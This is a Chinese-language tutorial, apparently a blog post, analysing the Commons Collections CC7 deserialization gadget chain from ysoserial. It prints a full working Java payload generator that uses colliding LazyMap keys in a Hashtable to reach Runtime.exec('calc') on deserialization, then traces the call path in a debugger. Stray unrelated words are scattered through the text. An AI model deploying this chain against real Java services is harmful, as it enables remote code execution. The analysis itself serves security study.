本文讲解的该链是原生ysoserial
中的最后一条CC链,可是实际上并非的。在后来随着后面各位大佬们挖掘利用链,CC8,9,10的链诞生,也被内置到ysoserial
里面。在该链中其实和CC6也是相似,可是CC7利用链中是使用Hashtable
做为反序列化的入口点。java
package com.test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class cc7 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { // Reusing transformer chain and LazyMap gadgets from previous payloads final String[] execArgs = new String[]{"calc"}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); // Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out")); objectOutputStream.writeObject(hashtable); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out")); objectInputStream.readObject(); // return hashtable; } }
这里依旧是提取重要代码出来去作了一个简化。web
抛去和前面重复的部分,下面分为三段代码去进行分析。apache
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2);
在这段代码中,实例化了两个 HashMap
,并对两个 HashMap
使用了LazyMap
将transformerChain
和 HashMap
json
绑定到一块儿。而后分别添加到 Hashtable
中, 可是前面看到的都是使用一次,为何这里须要重复2次重复的操做呢?安全
下面来分析一下。工具
Hashtable
的reconstitutionPut
方法是被遍历调用的,this
第一次调用的时候,并不会走入到reconstitutionPut
方法for循环里面,由于tab[index]
的内容是空的,在下面会对tab[index]
进行赋值。在第二次调用reconstitutionPut
时,tab中才有内容,咱们才有机会进入到这个for循环中,从而调用equals
方法。这也是为何要调用两次put的缘由。调试
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); lazyMap2.remove("yy");
前面的三段代码其实就是为了防止在序列化的时候,本地进行命令执行,前面先定义好一个空的,后面再使用反射将他的iTransformers
进行替换。code
其实最主要的是后面的lazyMap2.remove
这个步骤。至于为何须要在最后面移除该值,其实在LazyMap
的get方法里面就能够看到。orm
若是不移除该方法就会走不进该判断条件的代码块中。然后面也会再调用一次put方法。
依旧是在readobjetc
的复写点打一个断点,这里面用到的是Hashtable
的readobjetc
做为入口点。
在其中会调用到reconstitutionPut
方法,跟进一下。
前面说过,第一遍调用的时候,tab[index]
是为空的,须要跟进到第二步的执行里面去查看。
在第二遍执行的时候就会进行到for循环里面,而且调用到key
的equals
方法。跟进一下该方法。
AbstractMapDecorator
的equals
方法会去调用this.map
的equals
。跟进一下。
下面代码还会继续调用m.get
方法,在这里的m为LazyMap
对象。
在最后就来到了LazyMap.get
这一步,其实就比较清晰了。后面的和前面分析的几条链都同样。这里就不作分析了。
分析完了这一系列的CC链,后面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再后面就是开始写反序列化工具集了。